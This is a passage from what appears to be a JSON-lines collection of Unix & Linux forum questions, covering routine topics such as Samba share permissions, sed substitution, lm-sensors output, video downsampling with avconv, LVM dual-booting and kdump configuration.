experience to pass. I am still studying hard and running a lab with a server and a couple of clients, watching CBT nuggets reading man pages and waiting for LPIC-1: Linux Professional Institute Certification Study Guide: (Exams 101 and 102) by Roderick W. Smith to come in the mail. I would appreciate some words of wisdom from the gurus and novices on study methods and experiences that may help."} {"_id": "147929", "title": "How to power-on embedded flash memory after eject", "text": "On a _Wheezy-ed_ Qnap TS-269L NAS I sent the embedded 512M DOM flash memory (`/dev/sdc`) to sleep using `eject /dev/sdc` after creating a new partition table on it. Previously it contained `/boot/efi`, meaning that now the kernel wouldn't be able to assemble and boot raid volumes on next reboot. _My intention was to get rid of fat32 partition on`/dev/sdc1` and replace it with ext4, because fat32 doesn't shrink to less than 512MB._ So, how to power-on a UDMII Plus-C Flash Disk Module in Linux? It doesn't come back up when invoking dd as some HDD's do in sleep mode. $hdparm -C /dev/sdc /dev/sdc: SG_IO: bad/missing sense data, sb[]: 70 00 05 00 00 00 00 0a 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 drive state is: standby Sub-note. It's not the end of the world though, because from a rescue mode it is possible to $dd if=sdc.backup of=/dev/sdc but this would require reboot."} {"_id": "26264", "title": "New Mail Arrived notification Kmail + Jovie Speech customizing", "text": "When a new message arrives, Kmail has ability to speak! Which is great but not enough: I don't want to listen to a standard text but have a proper functionality: When a new message arrives, Jovie should say > New Message arrived from Linus Torvalds (if Linus Torvalds is in the Address Book, falling back to email@domain without the TLD `.com`) Or: > Email about `%MSG_SUBJECT` Is that possible?"} {"_id": "26267", "title": "What is the best distro for Toshiba Satellite L10-205(old hardware) used mostly for development?", "text": "I'm new to the Linux world, but I would love to switch from windows. I'm developer, mostly in web server based technologies, but sometimes I love to thinker with C++ and other languages. As I'm student I can't afford powerful hardware so I have: http://i.stack.imgur.com/msXaK.jpg (Can't post images) It's Toshiba Satellite L10-205 (Laptop) P.S. Don't blame me for my old hardware. Whats the best distro of Linux for my pc to run fast and for my needs?"} {"_id": "56099", "title": "Series of question on ebuild scripting. Given original passage from devrel & questions", "text": "Scope Whenever an ebuild is sourced, the functions and variables within it are loaded into memory by the script interpreter. However, only variables and instructions that are not part of a function are interpreted - functions such as src_compile() are only executed by Portage when the ebuild has reached the compile stage. The code within these functions are considered in \"local scope\" while everything outside of the functions is in the \"global scope\" meaning they are executed every time the ebuild is sourced. An external application (such as grep, sed or awk) should never be called in global scope for performance reasons, and alternatives such as using built-in bash replacement should be used instead. Useful alternatives can be found in the Advanced Bash Scripting Guide. Additionally, any external application that may be called in global scope can not be guaranteed to exist on the system. If the command is placed in local scope (for example, in the `pkg_setup()` function), we can guarantee its presence by placing it in the ebuild's `${DEPEND}`. 1. What it means to ebuild to be sourced? Can it be the source command (btw I don't understand it, it was from and book and it doesn't have \"man source\". 2. Okay, variables - how they can be interpreted? I somehow understand how functions can. Functions probably are of some type of programming. It is compiled one or interpreted one. And if ebuild language is scripting (may be it is bash) - like pearl or python that is widely used in Gentoo Portage, how ebuild can contain compilation functions (I remember some from pascal from school). 3. And thus what is `src_compile()` function - it was not mentioned in revdel. 4. \"compile stage\" - what is this terminology is telling? Which are those ebuild stages, or stages of ebuild? 5. The same is about local/global scope. I completely don't understand, together with some internal applications - couldn't catch the thought also the opposite (awk..) are mentioned. 6. `pkg_setup()` function, `$DEPEND` - are those only example or imply implicit meanings?"} {"_id": "151504", "title": "confuse about User:Group what is the best for /var/www, and Crontab user?", "text": "I'm new on linux server. I have 2 question that I'm confuse about this. 1 1. user:group now I chown my /var/www/html like this. my `nginx.conf` is set `server{ user www-data }` and in terminal I set ` chown -R root:www-data /var/www/html find /var/www/html -type d -exec chmod 775 {} + find /var/www/html -type f -exec chmod 664 {} + find /var/www/html/uploads/images -type d -exec chmod 775 {} + ` Is I'm do the right thing ? or it need to set to www-data:www-data ? 2 2. about crontab it a lot of TUT but it is not clear about user who ran crontab. The question is If I login with `adam` user and my server is own by `root:www-data` or `www- data:www-data` how can I give the crontab to that user not `adam` user ? because it need perm to write the files like backup."} {"_id": "26262", "title": "Minimal gui for Eclipse Indigo on Ubuntu", "text": "I'd like to install Eclipse I could use via VNC on a minimal Ubuntu 10.04 installation, but without the unnecessary bells and whistles that come with gnome-desktop. All I really need to do in an X-environment is access Eclipse via VNC. The rest will be done in terminal. How can it be best accomplished? Is Gnome the only gui option for Eclipse? Short explaination (as maybe there are other, simpler options, than what I'm asking about): I've got a single board computer with minimal Ubuntu 10.04 installed. The SBC is connected to an Arduino based embedded system collecting data. After the data acquisition I process them with the SBC. I'd like to be able to do programming directly on the SBC to speed up and simplify development."} {"_id": "56096", "title": "How to install ubuntu ultimate edition using Wubi?", "text": "I had some trouble installing Ultimate Edition 2.9 on my friend's computer using Wubi. Wubi just doesn't accept installation and gives only 2 options - 'Demo & Install' and 'Learn more'. Tried searching the internet for a solution but couldn't find anything. Is it Wubi's fault or is it not designed to give support for UE? If latter, what is the alternative to it (without actually giving UE a seperate partition)."} {"_id": "56091", "title": "Why is there no critical section in the pipe?", "text": "Why is there no critical section in the pipe? For example, as in shared memory. In pipe have general data, which in common use in joint processes, but in the shared memory also have general data, which in common use in joint processes."} {"_id": "56090", "title": "Problem with samba shares Ubuntu server 12.04", "text": "I'm having a problem with setting up samba share permissions on Ubuntu Server LTS. I've got two shares set up in the `smb.conf` file. The entries look like this: [share] comment = Ubuntu File Server Share path = \"insert real path name here\" browsable = yes guest ok = no read only = no create mask = 0700 group = group1 [media] comment = Ubuntu File Server Share path = \"insert real path name here\" hide unreadable = yes browsable = yes guest ok = no read only = no group = group2 create mask = 0700 In the file system I am the owner of all directories related to both of these shares. The `[media]` share is group-owned by `group2`, and the `[share]` is group-owned by `group1`. For both directories I have file permissions set at 771, where owner and group both have read, write, and execute, but guests have only execute. I have 3 users in the system: myself, my wife, and my mother. I belong to `group1` and `group2`, as does my wife. My mother belongs only to `group2`. When I log into the server from my Windows desktop, my credentials work as expected. But if I use my wife's or my mother's, nothing works. They can log into the server, but when they click on one of the shared folders another log in screen is displayed asking for another username / password. This always fails and they are not allowed access to the folders. I would like for my wife and I to have access to both of these folders while restricting access to other users. What am I missing here? I've tried fixing this for quite some time and I can't seem to get it figured out."} {"_id": "56093", "title": "Output of 'watch' command as a list", "text": "I want to do some simple computation of the number of lines per minute added to a log file. I want also to store the count for each second. What I need is the output of the following command as a list which will be updated every second: watch -n1 'wc -l my.log' How to output the 'update' of the 'watch' command as a list?"} {"_id": "56092", "title": "How can I disable TCP/IP for an Ethernet adapter?", "text": "I have CentOS 6.3 running in a (virtual) machine with two Ethernet adapters. I have eth0 connected to a TCP/IP LAN and eth1 connected to a DSL modem. The system is intended as a dedicated router/firewall, and has iptables set up to do SNAT, DNAT, and the desired filtering. This was working great but I changed DSL modems and unfortunately the new (faster) one is idiotproofed and so automatically does NAT and will not allow me to pass my public IP along to eth1. I can't tolerate double NAT so I did some research and read that this modem can be 'tricked' into giving my computer a public IP by doing the PPPoE on the computer. I therefore set up pppd to use eth1, creating the ppp0 connection which I then substitute for eth1 in my custom iptables config script. This seems to work to a degree but I had to open up the firewall to get it to work, and it's flaky. Partly to help in troubleshooting, I want to totally rule out the possibility of any TCP/IP traffic being directly routed to eth1 where my 'friendly' modem will happily NAT it. To the best of my knowledge, PPPoE sits below, not above IP - on the physical interface it deals directly in Ethernet frames. Therefore I should not even have to have IP networking configured on eth1 at all in order for pppd to work, and IP networking running on eth1 therefore is just complicating matters needlessly. Here's where I discover, silly me, I don't know how to disable the TCP/IP stack on Linux! I know on a Windows box you can just uncheck the TCP/IP protocol in the adapter properties, but here I am running a text-only CentOS and I have no idea how to do it. Apparently it's not a very common desire, because I've been searching the Internet to no avail. It seems like a hard-wired assumption that an Ethernet adapter _is_ a TCP/IP connection. Well, usually... Thanks for any help! Kevin"} {"_id": "101873", "title": "Check a range of IP addresses to see if a host is active", "text": "I need to write a bash shell script that will check a range of IP addresses to see if a host is \u201calive\u201d at that address.I also need to list the IP numbers of those that are \u201calive\u201d, and provide a summary showing the number of \u201calive\u201d and \u201cnot alive\u201d IP addresses. The range of addresses will all be in a \u201cClass C\u201d network. I'm having problems figuring out how to pass through each arg and get it pinging each individual address within the range. Below is a sample run of the script I intend to create. $ programName 192.168.42 18 22 Checking: 192.168.42.18 19 20 21 22 Live hosts: 192.168.42.21 192.168.42.22 There were: 2 alive hosts 3 not alive hosts found through the use of 'ping'."} {"_id": "101872", "title": "cinnamon-screensaver and lock settings not visible in settings panel", "text": "A rather peculiar problem: After updating a fresh installation of Linux Mint Debian Edition, I lost the ability to change the screensaver and lock settings, here's a screenshot of the relevant settings page, completely missing the actual setting options: ![Screensaver and Lock Settings](http://i.stack.imgur.com/OBPqC.png) According to the release notes of the Update Pack 7, the `cinnamon- screensaver` package replaces and removes `gnome-screensaver`, which sounds like the root of the problem. The problem persists even after removing and re- installing `cinnamon-screensaver`, though. Any suggestions?"} {"_id": "57328", "title": "can't connect to samba drive in centos 6.3", "text": "#smbclient //ballzdeep/torrents Server not using user level security and no password supplied tree connect failed: NT_STATUS_BAD_NETWORK_NAME Does this mean i need to require username and password for my drive? Windows,Ubuntu connect to it with their GUI's but i can't get CentOS 6.3 to also."} {"_id": "101876", "title": "If I open the same file twice in Okular, switch to the existing window", "text": "I have always been confused why the file manager in Linux cannot stop applications from opening a single file twice at the same time? Specifically, I want to stop the PDF file reader Okular from opening the file `A.pdf` again when I have already opened it. I need to get an warning or just show me the opened copy of the file `A.pdf`. More generally, I would like this to happen with any application, not just Okular. I want to make the document management behavior in Linux the same as in Windows."} {"_id": "101874", "title": "Script is stuck saying 1 response with 2 available: Math related", "text": "I have a script that tells the user the square footage of 2 rooms based on user input. I think I have that part done right. The problem I have is that I need to have the script say which room is bigger and no matter how I try to rebuild the end of the script I get both responses, 1 of the responses which is wrong unless the user is lucky, or I get no response. How do I change this part of the script to get the correct output? I'll have the rest of the script as a reply to this for those that want to skip over the working part along with the question I've been given. Also this is a homework assignment from my Intro to Unix class that I've spent way to much time on trying to figure out so the correction has to be somewhat beginner-ish. if [ $R1z -ge $R2z] then echo Room 1 is bigger else echo Room 2 is bigger fi All of the code: echo Enter the length of room 1 read R1x echo Enter the width of room 1 read R1y echo Enter the length of room 1 read R2x echo Enter the width of room 2 read R2y expr $R1x \\* $R1y read R1z expr $R2x \\* $R2y read R2z if [ $R1z -ge $R2z] then echo Room 1 is bigger else echo Room 2 is bigger fi"} {"_id": "57325", "title": "Are there any pitfalls to overriding ls?", "text": "Is there anything to watch out for if you wanted to override `ls`? Is there a more reliable way of getting pagination out of `ls`? For example: function ls() { command ls -hp $@ | more; }"} {"_id": "57326", "title": "add members of wheel group, sudo access", "text": "On Fedora15, following this wiki, I added a user to wheel group, which is already in the sudoer config file. but still I get not-a-sudoer error prompt. Should I specifically name every member of a group in sudoer file to be able to sudo with that user?"} {"_id": "57327", "title": "Can I execute commands from a midnight commander ssh connection?", "text": "When I connect to a VPS via a Shell link in MC, the location of the command prompt remains at my local box. I would like to be able to execute commands (e.g. mkdir, tar/untar) directly from the location of the left or right panel. I could ssh into the VPS separately, but this is not as handy as how I can use SFTP in Total Commander under Windows: e.g. type a command on my local machine in the left panel, switch to the right panel (remote location) using tab and directly type a command that is executed at the remote location. Is this possible with Midnight Commander?"} {"_id": "57320", "title": "Can't get lm-sensors to ouput correctly or load ATI Radeon temp and fan", "text": "I am new to Linux and having minor issues. I followed this guide initially, but did not receive the proper output, and it did not show my ATI Radeon HD 5000 temperature or fan speed. Then I used this guide, and the same problems were exhibited. I had no issues installing it and no errors. I think it's not reading `i2c` for some reason. The proprietary driver is installed and functioning correctly according to `fglrxinfo`. I can use `aticonfig` commands and view both the temperature and fan. Thoughts? Any ideas on how to get it working under `sensors`? When I run `sudo sensors-detect` this is my output # sensors-detect revision 5984 (2011-07-10 21:22:53 +0200) # System: LENOVO IdeaPad Y560 (laptop) # Board: Lenovo KL3 This program will help you determine which kernel modules you need to load to use lm_sensors most effectively. It is generally safe and recommended to accept the default answers to all questions, unless you know what you're doing. Some south bridges, CPUs or memory controllers contain embedded sensors. Do you want to scan for them? This is totally safe. (YES/no): y Silicon Integrated Systems SIS5595... No VIA VT82C686 Integrated Sensors... No VIA VT8231 Integrated Sensors... No AMD K8 thermal sensors... No AMD Family 10h thermal sensors... No AMD Family 11h thermal sensors... No AMD Family 12h and 14h thermal sensors... No AMD Family 15h thermal sensors... No AMD Family 15h power sensors... No Intel digital thermal sensor... Success! (driver `coretemp') Intel AMB FB-DIMM thermal sensor... No VIA C7 thermal sensor... No VIA Nano thermal sensor... No Some Super I/O chips contain embedded sensors. We have to write to standard I/O ports to probe them. This is usually safe. Do you want to scan for Super I/O sensors? (YES/no): y Probing for Super-I/O at 0x2e/0x2f Trying family `National Semiconductor/ITE'... Yes Found unknown chip with ID 0x8502 Probing for Super-I/O at 0x4e/0x4f Trying family `National Semiconductor/ITE'... No Trying family `SMSC'... No Trying family `VIA/Winbond/Nuvoton/Fintek'... No Trying family `ITE'... No Some hardware monitoring chips are accessible through the ISA I/O ports. We have to write to arbitrary I/O ports to probe them. This is usually safe though. Yes, you do have ISA I/O ports even if you do not have any ISA slots! Do you want to scan the ISA I/O ports? (YES/no): y Probing for `National Semiconductor LM78' at 0x290... No Probing for `National Semiconductor LM79' at 0x290... No Probing for `Winbond W83781D' at 0x290... No Probing for `Winbond W83782D' at 0x290... No Lastly, we can probe the I2C/SMBus adapters for connected hardware monitoring devices. This is the most risky part, and while it works reasonably well on most systems, it has been reported to cause trouble on some systems. Do you want to probe the I2C/SMBus adapters now? (YES/no): y Using driver `i2c-i801' for device 0000:00:1f.3: Intel 3400/5 Series (PCH) Now follows a summary of the probes I have just done. Just press ENTER to continue: Driver `coretemp': * Chip `Intel digital thermal sensor' (confidence: 9) To load everything that is needed, add this to /etc/modules: #----cut here---- # Chip drivers coretemp #----cut here---- If you have some drivers built into your kernel, the list above will contain too many modules. Skip the appropriate ones! Do you want to add these lines automatically to /etc/modules? (yes/NO) My output for `sensors` is: acpitz-virtual-0 Adapter: Virtual device temp1: +58.0\u00b0C (crit = +100.0\u00b0C) coretemp-isa-0000 Adapter: ISA adapter Core 0: +56.0\u00b0C (high = +84.0\u00b0C, crit = +100.0\u00b0C) Core 1: +57.0\u00b0C (high = +84.0\u00b0C, crit = +100.0\u00b0C) Core 2: +58.0\u00b0C (high = +84.0\u00b0C, crit = +100.0\u00b0C) Core 3: +57.0\u00b0C (high = +84.0\u00b0C, crit = +100.0\u00b0C) and my `/etc/modules` is: # /etc/modules: kernel modules to load at boot time. # # This file contains the names of kernel modules that should be loaded # at boot time, one per line. Lines beginning with \"#\" are ignored. lp rtc # Generated by sensors-detect on Fri Nov 30 23:24:31 2012 # Chip drivers coretemp"} {"_id": "57321", "title": "Downsampling a video with avconv / ffmpeg", "text": "I know really little about encoding and using avconv / ffmpeg. I am trying to downsample a video as follows: avconv -i blah_in.avi -s 640x360 -pass 1 blah.avi avconv -i blah_in.avi -s 640x360 -pass 2 blah.avi I am aware that this is very simplistic, yet I can't figure out what the problem is. Here is the error message from pass 1: avconv version 0.8.3-4:0.8.3-0ubuntu0.12.04.1, Copyright (c) 2000-2012 the Libav developers built on Jun 12 2012 16:37:58 with gcc 4.6.3 [avi @ 0x9fdd240] non-interleaved AVI Input #0, avi, from 'blah_in.avi': Metadata: encoder : MEncoder svn r34540 (Ubuntu), built with gcc-4.6 Duration: 01:21:59.24, start: 0.000000, bitrate: 8996 kb/s Stream #0.0: Video: mpeg4 (Advanced Simple Profile), yuv420p, 1920x1080 [PAR 1:1 DAR 16:9], 23.98 tbr, 23.98 tbn, 23.98 tbc Stream #0.1: Audio: mp3, 44100 Hz, stereo, s16, 128 kb/s File 'blah.avi' already exists. Overwrite ? [y/N] y [buffer @ 0x9fe1e00] w:1920 h:1080 pixfmt:yuv420p [scale @ 0x9fdcfa0] w:1920 h:1080 fmt:yuv420p -> w:640 h:360 fmt:yuv420p flags:0x4 Incompatible sample format 's16' for codec 'ac3', auto-selecting format 'flt' [ac3 @ 0x9fdc740] invalid bit rate Output #0, avi, to 'blah.avi': Metadata: encoder : MEncoder svn r34540 (Ubuntu), built with gcc-4.6 Stream #0.0: Video: mpeg4, yuv420p, 640x360 [PAR 1:1 DAR 16:9], q=2-31, pass 1, 200 kb/s, 90k tbn, 23.98 tbc Stream #0.1: Audio: ac3, 44100 Hz, stereo, flt, 200 kb/s Stream mapping: Stream #0:0 -> #0:0 (mpeg4 -> mpeg4) Stream #0:1 -> #0:1 (mp3 -> ac3) Error while opening encoder for output stream #0:1 - maybe incorrect parameters such as bit_rate, rate, width or height I have tried a number of things, but either they end up with a similar error message, or the quality is extremely poor; not so much due to low resolution, but full of compression artifacts. Now, what I would like to achieve is the same resolution / encoding as the following avi file, which plays fine on my kids video device: Stream #0.0: Video: mpeg4 (Advanced Simple Profile), yuv420p, 624x352 [PAR 1:1 DAR 39:22], 25 fps, 25 tbr, 25 tbn, 25 tbc Stream #0.1: Audio: mp3, 48000 Hz, stereo, s16, 128 kb/s"} {"_id": "37518", "title": "How to sed only that lines that contains given string?", "text": "INPUT: Select ASDF 325 sdfg sdflk lk Select TRG 46sdg rasdftz fsgs 45 Select ASDF 6ffg sdfg 4456 sdrg OUTPUT: Select ASDF 325 XXXX sdflk lk Select TRG 46sdg rasdftz fsgs 45 Select ASDF 6ffg XXXX 4456 sdrg So in short I need to \"sed\" \"sdfg\" to \"XXXX\". BUT: only in lines that contains the \"Select ASDF\" string.. How can I do this? (sed, awk, etc. :\\ )"} {"_id": "84011", "title": "Reusing pipe data for different commands", "text": "I would like to use the same pipe for different applications, like in: cat my_file | { cmd1 cmd2 cmd3 } Cmd1 should consume part of the input. Cmd2 should consume another part and so on. However, each cmd eats more of the input then it read really needs due buffering. For example: yes | nl | { head -n 10 > /dev/null cat } | head -n 10 Outputs from line 912 instead of line 11. Tee is not a good option, because each command is supposed to consume part of the stdin. Is there a simple way to get this working?"} {"_id": "75258", "title": "Can I create a symlink that will ignore subdirectories?", "text": "I'm trying to get dropbox symlinked to the relevant folders in `/home`. I'd like to symlink them like this: `~/Dropbox/Pictures --> ~/Pictures` `~/Dropbox/Camera Uploads --> ~/Pictures/Camera Uploads` If I do that it will work but I'll have two copies of my pictures and videos stored on Dropbox. I don't want to waste space. Any ideas on how to solve this problem?"} {"_id": "84014", "title": "Gnome clock on UTC, not local", "text": "My OS is Gentoo. My Hardware Clock is set to UTC. The `date` command returns the correct time and timezone (EDT). However, my GNOME clock is set to UTC. I have 2 clocks, one at Internet Time, and one set (the format string) to \"24-hour\". I have NTP and NTPD installed and running. My timezone/location in the menu that shows up when I click is correct. Even the analog clock right next to it is correct. However, the time that shows up whenever I send emails, whenever I access the internet, is off by 4 hours. Any advice would be welcome."} {"_id": "84015", "title": "How to download all html files from a URL's directory with wget?", "text": "I'd like to use `wget` to download a tutorial in a website, but this tutorial is in a specific directory. Suppose the URL is the tutorial main page `http://www.abc.com/aaa/bbb/ccc/index.html`. But the as it contain \"continuations\" there are other pages I'd like to be interconected that are in directories such as: http://www.abc.com/aaa/bbb/ccc/ddd/index.html http://www.abc.com/aaa/bbb/ccc/eee/index.html http://www.abc.com/aaa/bbb/ccc/fff/ggg/index.html So, basically I need to download recursively the directories after ccc, but not before, and then convert the links to be used offline. There is any argument to be used with `wget` that would perform such task?"} {"_id": "3794", "title": "AWK: wrap lines to 72 characters", "text": "$ awk 'length > 72' {HOW TO PRINT THE LINEs IN PCS?} msg ie I want it to add `\\n` after 72 chars and continue, so initially you may need to remove all single `\\n`s and the add them. It may be easier be easier with other tool but let's give a try to awk. **[Update]** _Williamson provided the right answer but some help needed to read it. I break the problem into parts with simpler examples, below._ 1. Why does the code below print `\\t` in both cases, `gsub` should substitute things? x is a dummy-file, some odd 0 at the end. 2. Attacking the line `line = $0 \\n more = getline \\n gsub(\"\\t\",\" \")` in Williamson's reply, `line` apparently gets whole stdout while `more` gets popped value of `$0`, right? **Code to part 1** $ gawk '{ hallo=\"tjena\\t tjena2\"; gsub(\"\\t\",\" \"); }; END {print hallo; gsub(\"\\t\", \"\"); hallo=hallo gsub(\"\\t\",\"\"); print hallo }' x tjena tjena2 tjena tjena20"} {"_id": "84019", "title": "PF and types of NAT(Network Address Translation)", "text": "As you know, at least 3 types of `NAT` are used. Of course i need to two types of them.`DNAT` and `SNAT`. `DNAT` : hiding server behind `NAT`, `SNAT` : hiding your client behind `NAT`. **Question:** I read a quick tutorial of `PF filrewall`, but didn't distinguish `DNAT` and `SNAT` in `PF Firewall`. How can i define ruleset as `DNAT` and `SNAT`?"} {"_id": "3791", "title": "Can I alter my Fedora LVM LV to install a new distro as a dual-boot?", "text": "My question is _almost_ a duplicate of this question, but not quite because that one is about `ext3` and I am already using LVM. I have an older HP Pavilion laptop running Fedora 11. I chose Fedora because it was semi- compatible with the hardware and it ran VMware well... but since I no longer need VMware I am looking to test out other distros and find one that's more compatible. (Specifically looking for software suspend support and maybe something more lightweight) I'd like to try out a few new distros without hosing the existing (working) Fedora setup. Since I am using LVM, is it possible to reduce the size of my LVM LV and then install new distros into the volgroup, without the new distros destroying the Fedora setup? Here's how my LVM is set up now: [root@token ~]# /sbin/lvm lvdisplay --- Logical volume --- LV Name /dev/vg_token/lv_root VG Name vg_token LV UUID JPCDlb-HHW7-fMDy-h8p2-Itbp-hwfK-3CwN97 LV Write Access read/write LV Status available # open 1 LV Size 91.96 GB Current LE 23542 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:0 --- Logical volume --- LV Name /dev/vg_token/lv_swap VG Name vg_token LV UUID 3JMF4u-3jXx-Xy6H-saNt-Aljh-6Idw-73O4IS LV Write Access read/write LV Status available # open 1 LV Size 1.00 GB Current LE 256 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 253:1 [root@token ~]# df -h / Filesystem Size Used Avail Use% Mounted on /dev/mapper/vg_token-lv_root 91G 68G 24G 75% / Are there distros which will allow me to install into a new logical volume without destroying the existing one? If so, which ones, and how would I go about making room for the new LV?"} {"_id": "3790", "title": "TightVNC not running gnome-session", "text": "I have a Debian Lenny box with Gnome desktop. I've installed Tightvnc server on it and would like to see a Gnome session when connecting from another computer using VNC viewer. But for some reason it opens the \"X Desktop\" with only a terminal window visible. What could be wrong? I used these instructions for editing the configuration (~/.vnc/xstartup). So looks like it's not recognizing _gnome-session &_ and is falling back to generic session instead. Why?"} {"_id": "75252", "title": "how to form a sed expression containing escaped characters", "text": "Given a sed expression (and GNU sed 4.2.2 on ArchLinux) /match/i\\tline1\\n\\tline2 which should insert two tab-indented lines above the match, I find that the escaping of the first character (in the example, `\\t`) is ignored but all other escaped characters are treated correctly. Testing this like this: echo match | sed -e '/match/i\\tline1\\n\\tline2' results in tline1 line2 match It doesn't matter what the initial escaped character is (e.g. tab or newline) the result is the same. What is the correct way to consrtuct the expression so that the first character is treated correctly?"} {"_id": "3792", "title": "Calculate md5sum of a CD/DVD", "text": "I have an ISO file, which I burned to a CD. Now how can I check if the CD is correctly created? I would like a command that calculate the hash sum that I can use to check with the hash sum I calculate on the ISO file. Ideally the command should: * Work regardless of the ISO file: that is, I don't want to keep a list of hash sum for each file in the disc, or remember the number of blocks whatever * Be relatively short: a one-line command is great, a chain of commands which is two line long is OK, a script that span one page is not * Be fairly efficient: for example, `dd` the disc back to a file then run `md5sum` on the file is unacceptable If there is no answer that cannot satisfy all I will appreciate the nearest match too. Even better if you can tell me why it is not so straight-forward."} {"_id": "2154", "title": "Wireless multi function scanner / printer", "text": "Can someone recommend me a wireless multi function scanner / printer that will work with Ubuntu? If something like this exists at all.."} {"_id": "4980", "title": "renaming a fat16 volume", "text": "What's the easiest way to rename (change the volume label of) a fat16 volume (e.g. on a USB drive) from linux? It seems like `mlabel` from the `mtools` package is meant to do this, but the documentation is not geared to rapid assimilation."} {"_id": "134549", "title": "Configure routes to access WAN and LAN through diffrent interfaces", "text": "In my organization. Some useful technical websites are blocked by the firewall. In my machine i got three interfaces **eth0, wlan0, wwlan0** eth0 Link encap:Ethernet HWaddr 00:9c:02:93:b1:b4 inet addr:10.0.69.63 Bcast:10.0.71.255 Mask:255.255.252.0 ... RX bytes:551526655 (551.5 MB) TX bytes:71851444 (71.8 MB) Interrupt:20 Memory:d4700000-d4720000 wlan0 Link encap:Ethernet HWaddr ac:81:12:d2:57:d4 inet addr:192.168.1.13 Bcast:192.168.1.255 Mask:255.255.255.0 ... wwan0 Link encap:Ethernet HWaddr 32:ab:e4:44:7c:3d inet addr:105.152.231.158 Bcast:105.152.231.159 Mask:255.255.255.252 ... RX bytes:288643752 (288.6 MB) TX bytes:28286606 (28.2 MB) When I disable eth0 i can access the WAN through wwan0 but of course i loose access to the organization LAN. How can i configure my routing table to : **1.** Access all LAN destinations (10. * . * . *) through **eth0** **2.** Access all WAN destinations through **wwlan0** **3.** Access all WAN destinations through **eth0** when **wwlan0** is disabled **4.** disable **1.** , **2.** and **3.** rules whenever i activate **wlan0**"} {"_id": "4982", "title": "Is it possible to run KVM over a qemu emulated powerpc architecture", "text": "I understand that qemu uses binary translation to emulate machines, so irrespective of the underlying architecture, it can provide emulation. And, KVM uses Hardware Virtualization technique to make this process faster. Thus, KVM requires VT support from underlying architectures (which x86 processor provides). I have emulated powerpc architecture with qemu over x86 architecture. My question is whether it is possible to run KVM over this powerpc architecture."} {"_id": "2150", "title": "Diffing two big text files", "text": "I have two big files (6GB each). They are unsorted, with linefeeds (`\\n`) as separators. How can I diff them? It should take under 24h."} {"_id": "4984", "title": "Why does the local::lib shell code use eval and $()", "text": "using local::lib requires you to add a line to your `~/.shellrc` eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib) I don't understand what the point of using `eval`, and encasing the statement in `$()` is. I also notices that `csh` doesn't require you to use those. So I'm wondering what the difference is, and whether or not I should use this for generic bourne shell, or `zsh`."} {"_id": "134543", "title": "Is there a utility like dspcat on Linux?", "text": "I use the following `dspcat` command on _AIX_ and can dump message catalogs created with the `gencat` command: dspcat \u2013g /u/is/bin/I18N/l/lib/libca/libcalifornia.117.cat >> /tmp/message.smc I have spent a good solid hour looking for hints on how to dump one of these catalogs on Linux but this command does not seem to be available. Any help would be appreciated."} {"_id": "4988", "title": "How do I test to see if an application exists in $PATH?", "text": "I'm trying to write all of my `sh` startup/env scripts to work with as much _DRY_ and as much: \"works on every *nix I clone it to\", as possible. This means making sure that if I try to run code that's not there, that the code fails gracefully. To that end I need to be able to test if programs exist. I know how to test if a file exists, but I'm not sure how to test to see if an application is executable within the path. I'd rather use the $PATH, as some of these need to work on arch, ubuntu, and centos. Some might be installed in my homedir, on systems where I don't have root, others might not be installed, and others yet my be installed in system paths."} {"_id": "134541", "title": "Swap to RAM, or not", "text": "Having a 32-bit system with 4G RAM and 7G swap. Linux 3.5.0-49-generic i686. From time to time the memory bank is filled up and everything lags down. In 99% of the cases it is Chrome using vast amounts of RAM and swap. Some times it helps to close down some windows, but often not. As an example for last time: Mem: 4G in use Swp: 3G in use Chrome: 4 windows, 17 tabs. Closing Chrome and after a while I sit with Mem: 450M in use Swp: 220M in use This is a rather typical scenario. The pages are \"normal\" web-pages like Stack Exchange sites, some articles and perhaps a news-site or two. * * * One thing I notice is that it takes some time for the system to normalize after I shut Chrome down. This is long after last process has died according to `htop` / `top`. It keeps lagging etc. Guess this is due to the swap. My question is if it is advisable to use some technique to flush the swap (push it to RAM so to speak), and how. And, is there some other technique to help in this particular predicament? * * * Edit: As for extensions I only use * _Vimium_ , which usually does not consume much. * _Session Buddy_ , (so that I can save my tabs when I need to do a Chrome boot), but this one also use (relatively) little memory. Even so I usually have it disabled and only enables it before I do a shut down and when I want to restore some of the tabs from a previous session. * _Flashcontrol_ I have also tried longer periods with no extensions, not that it helped. When it comes to extensions/plugins the worst culprit is flash. Using _Flashcontrol_ this helps somewhat, but all over the issue persist. I usually check this using Chrome's own _Task Manager_ , `Shift+Esc`"} {"_id": "138244", "title": "Replacement of using terminal", "text": "Is there a way I can use Putty and connect it to my machine in replacement of terminal on my laptop? I am currently using ubuntu but I like some of the features that putty has over using the terminal."} {"_id": "134546", "title": "kdump doesn't produce core dump after buggy module is loaded", "text": "I am running kernel 3.14.4 on Fedora 18. I am experimenting with a kernel module I am making. The module has a bug (at least one) and crashes the kernel. Sometimes I see a stack trace on my frozen screen (if I am lucky) by tailing the kernel log (`tail -f /var/log/messages`). From what I see, it's a NULL pointer dereference. Since luck does not provide for productivity I configured kdump, enabled it on boot, and tested that in fact it does create a kernel dump upon a sample panic (`echo c > /proc/sysrq-trigger`), which I can see after it reboots through the crash utility. But when I test my module the kernel crashes and no dump is generated. What can I do better?"} {"_id": "138246", "title": "Give read-only access to specific folders?", "text": "I would like to give read-only access to a user but I want him/her to see only the exact folders I give access. for example he/she shouldn't travel around all the server and browse to all users folders etc. even if he/she only goes up, up, up I want him/her to go to only these specific folders I allow. So firstly how can I let a specific user have access to a specific folder and then would putting symbolic links to his/her home folder would help? So they can go directly to necessary folders but not up or down?"} {"_id": "138247", "title": "Read file and do below command", "text": "From the 2 different web page the output goes to a single file called \"traffic\" From one page it always has a string \"sqr\" and from the other page it does not have the sqr string but \"attach\" I need help with something below:- read file traffic if it contains \"sqr\" then do the below 3 piece of code or if it contains \"attach\" do the below 4 piece of code Thanks for your help"} {"_id": "98001", "title": "What makes a good network planner software on Linux?", "text": "I need to design a VoIP network topology for a customer and I need a software that can do as that famous Windows one, don't remember the name."} {"_id": "86520", "title": "Internet access via server", "text": "We have proxy-server and I run Linux Mint 15 Mate. I've set up network connection and Firefox prompts for login/pass and then connects to Internet. When trying to look for updates/new software, system does not prompt for login/pass and cannot connect to Internet. What should be done to have system accessing Internet and getting updates/installing new 